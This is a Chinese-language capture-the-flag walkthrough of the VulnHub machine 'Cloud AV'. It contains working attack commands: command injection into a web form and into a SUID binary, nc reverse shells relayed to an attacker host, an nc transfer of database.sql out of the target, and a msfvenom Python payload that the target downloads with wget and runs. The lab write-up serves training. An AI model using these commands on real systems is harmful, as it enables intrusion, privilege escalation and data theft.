系列:BoredHackerBlog(此系列共4台)
发布日期:2020年03月29日
难度:初级-中级
靶机地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/
学习:
netdiscover主机发现
对于VulnHub靶机来说,出现“PCS Systemtechnik GmbH”就是靶机。
sudo netdiscover -i eth0 -r 192.168.56.0/24
有点懵逼,怎么扫描出两个?通过对端口扫描知道 192.168.56.102 是我们的目标,那么192.168.56.100是什么鬼
由于我kali是host-only网卡和nat网卡,靶机是host-only,而host-only是默认是开启dhcp的,测试一下,192.168.56.100 果然是dhcp服务器,只不过这个地址不是dhcp服务器的常见地址。
端口探测:nmap -A -p22,8080 192.168.56.102
,看到8080端口运行着一个基于python的web服务。并且linux的内核版本比较旧,提权应该很简单。
重启靶机后,输入邀请码登录网站,他让尝试扫描一些文件,那就拿当前目录下的bash试试吧,如下图
感觉这个套路似曾相识,dvwa的命令执行不就是这个样子的嘛,试一下(需要耐心等待一会)
记得在靶场 CHRONOS: 1 中也是有个框框,也是一个基于python的web服务,命令执行不了的话,反弹shell呢? 使用专业网站:https://forum.ywhack.com/shell.php
即便是python,里面也是存在多种命令,测试发现第一个就可以用(反弹比较慢,需要耐心点)
好不容易拿到shell后,却发现每执行一次命令都要等上半天,这谁遭得住啊,果断放弃。
使用命令:hello |nc 192.168.56.103 1234
获取到shell,但是,什么都做不了,解决办法,指明反弹的shell终端。
使用命令:hello | nc -e /bin/sh 192.168.56.103 1234
,结果是拿不到shell,只能说靶机的nc不支持功能-e
,没关系,可以通过二次重定向解决掉。
使用命令:hello |nc 192.168.56.103 1234|/bin/sh|nc 192.168.56.103 4567
kali开启两个nc监听,命令执行效果终于能实时回显了。
注意到靶机上存在一个名为database.sql
的文件,想看看有没有什么敏感信息。可以通过nc来传输,使用方法参见之前的文章:https://www.yuque.com/u1881995/ytuylg/zt36az#mVujH
nc -nvlp 333 > 1.sql // 接收端
nc -nv 192.168.56.103 333 < database.sql -q 1 // 发送端
按照靶机的一贯尿性,这个时候就是要开始爆破SSH了。
其实之前查看home目录的时候已经知道了存在两个用户,只不过查看passwd的方式获取的更全面些
一番搜搜找找,发现当前用户的家目录的里面有个编译好的,并且具有suid权限的文件。
查看一下文件内容,有一句话很显眼,告知我们要加参数才能运行这个程序,但是有没告诉我们参数怎么加。那是不是想怎么加就怎么加呢?
那就,继续双重nc反弹那shell吧
./update_cloudav "aaa |nc 192.168.56.103 4444|/bin/sh|nc 192.168.56.103 5555" // 执行命令
这个是老外的做法,老外的文章地址放在了“参考”中。
老外并没有直接网上直接找一段python用来实现反弹shell的命令,而是用MSF来生成。
攻击者准备:
// 生成能反弹shell的python文件
msfvenom -p cmd/unix/reverse_python lhost=192.168.56.103 lport=4545 -f raw > shell.py
// 开启web服务,方便靶机拿到文件
python3 -m http.server 80
// 开启msf
msfconsole
use exploit/multi/handler
set payload cmd/unix/reverse_python
set lhost 192.168.56.103
set lport 4545
run
// 获取交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
靶机下载文件并运行:
cd ~
wget http://192.168.56.103/shell.py
chmod +x shell.py
./update_cloudav 'aaa|./shell.py'
BoredHackerBlog: Cloud AV Walkthrough